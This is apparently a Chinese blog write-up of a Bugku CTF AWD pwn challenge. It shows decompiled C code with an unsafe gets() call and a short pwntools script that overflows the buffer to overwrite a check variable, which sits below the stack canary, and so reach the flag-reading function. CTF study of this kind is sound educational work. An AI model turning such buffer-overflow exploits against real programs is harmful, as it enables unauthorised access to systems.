Featured image of post 第二次AWD水友赛

第二次AWD水友赛

Bugku CTF-AWD,21人混战,作者爆还是0

前言:激战时间是2025年10月4日15:00——16:30

Exploit

自己本地复现去吧。真是绝望啊,还以为是泄露canary值去绕过检查,结果别人就这样去溢出的。

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
io =process("./pwn")
#io = remote...
context(log_level='debug',os='linux',arch='i386')
v5 = 0x1337BEEF
payload = cyclic(32) + p32(v5)
io.recvuntil("Enter a string: ")
io.sendline(payload)
io.interactive()

exploit的思路

牢,学了点新东西,别叫贴近实际。

附件: pwn.7z

GNU C 库(glibc)的动态链接库文件查询:

1
strings ./pwn | grep -i "glibc\|libc"

Libc.so.6

checksec:

32位程序,保护全开,不用说肯定是堆利用了…。

PWN程序部分源码:

main函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [esp+0h] [ebp-30h] BYREF
  int v5; // [esp+20h] [ebp-10h]
  unsigned int v6; // [esp+24h] [ebp-Ch]
  int *p_argc; // [esp+28h] [ebp-8h]

  p_argc = &argc;
  v6 = __readgsdword(0x14u);
  v5 = 0;
  printf("Enter a string: ");
  fflush(stdout);
  gets(s);
  if ( v5 == 0x1337BEEF )
  {
    read_flag();
  }
  else
  {
    printf("\nThe string \"%s\" is lame.\n", s);
    fflush(stdout);
  }
  return 0;
}

read_flag函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
unsigned int read_flag()
{
  FILE *stream; // [esp+4h] [ebp-44h]
  char s[50]; // [esp+Ah] [ebp-3Eh] BYREF
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    printf("File Error: flag.txt does not exist.");
    fflush(stdout);
    exit(0);
  }
  fgets(s, 50, stream);
  printf("Congratulations. Your string is not lame. Here you go: %s\n", s);
  fflush(stdout);
  return __readgsdword(0x14u) ^ v3;
}

大致思路是v5等于0x1337BEEF就行了,但不能靠栈溢出,因为开了canary,这里应该用堆溢出了。

做完才发现就是用栈溢出原理做的,太气人了…🤯

gdb调试看栈变化:

可以看到canary地址居然在v5地址之下,也就是说我们刻意栈溢出到v5,再溢出超过v5才会触发栈溢出保护。

那我们的payload就比较简单了,根据IDA分析的main函数可以知道:

1
2
v5 = 0x1337BEEF
payload = cyclic(32) + p32(v5)

完整exp在上面。

再出题人没有刻意动题的情况下,canary地址一直都是00整结尾的,稍加留意,也是一种技巧。实在不行你一个个变量溢出看看,可以发现你把v5覆盖后却能正常运行,超过v5却退出程序运行了,这点很明显是canary地址在v5地址之下。

最后更新于 2025-10-04